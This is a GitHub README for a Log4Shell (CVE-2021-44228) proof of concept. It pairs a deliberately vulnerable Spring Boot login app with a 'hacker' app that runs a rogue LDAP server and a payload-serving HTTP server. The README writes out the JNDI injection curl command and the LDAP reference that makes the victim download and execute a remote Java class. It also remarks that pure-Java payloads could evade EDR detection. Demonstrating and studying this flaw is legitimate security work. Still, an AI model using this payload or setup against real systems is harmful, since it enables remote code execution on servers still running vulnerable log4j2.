Skip to content

log4j2 Log4Shell CVE-2021-44228 proof of concept

License

Notifications You must be signed in to change notification settings

spasam/log4j2-exploit

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

1 Commit
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Log4Shell CVE-2021-44228 proof of concept

Requirement

  • Java (JDK/JRE) 8 or later version
  • curl

Simple spring boot application that serves a login page with user and password. It logs the user name when POSTed to /. It is not required for the application to log any user provided input. Enabling access logging that uses a vulnerable version of log4j2 is sufficient.

How to run:

cd exploitable
../mvnw -q spring-boot:run

By default it listens on port 8080. If you hit http://localhost:8080/ in browser you should see something like:

In pom.xml you will notice JVM property:

-Dcom.sun.jndi.ldap.object.trustURLCodebase=true

This is not required in older versions of JDK. The default was changed to false in: JDK 11.0.1, 8u191, 7u201, and 6u211. Even without this property, the application is vulnerable to initial LDAP requests which can exfiltrate sensitive data.

Hacker application that serves two purposes:

  • Starts a HTTP server on port 9090 to serve vulnerable payloads
  • Starts a in-memory LDAP server on port 1389

How to run:

cd hacker
../mvnw -q spring-boot:run

In pom.xml you can change the default payload sent to exploitable applications:

--class=SayHello is the default which means it sends SayHello.class as payload.

How to exploit

Send curl request to the exploit application referring the hacker LDAP server in one of the user provided inputs (user name):

curl -d "user=\${jndi:ldap://127.0.0.1:1389}" http://localhost:8080/

In the exploitable application console, you should see something like:

Under the hood

  • Attacker sent one of the user input fields as ${jndi:ldap://127.0.0.1:1389}
  • Vulnerable log4j2 embedded in exploitable application does a LDAP request to 127.0.0.1:1389
  • It gets back the following as response:
    dn:
    objectClass: javaNamingReference
    javaClassName: SayHello
    javaCodeBase: http://127.0.0.1:9090/
    javaFactory: SayHello
    
  • Application tries to retrieve exploit payload class from http://127.0.0.1:9090/SayHello.class
  • Hacker server returns the binary SayHello.class bytes
  • Application executes the getObjectInstance method in the exploit class

Note

After the initial LDAP request and potentially the download of the exploit Java class, it is not necessary for the exploit to fork a process, make any additional connection to the Internet. Typically these sorts of exploits can be easily detected by EDR products etc. I suspect new exploit payloads will be natively implemented in Java to evade detection.

About

log4j2 Log4Shell CVE-2021-44228 proof of concept

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages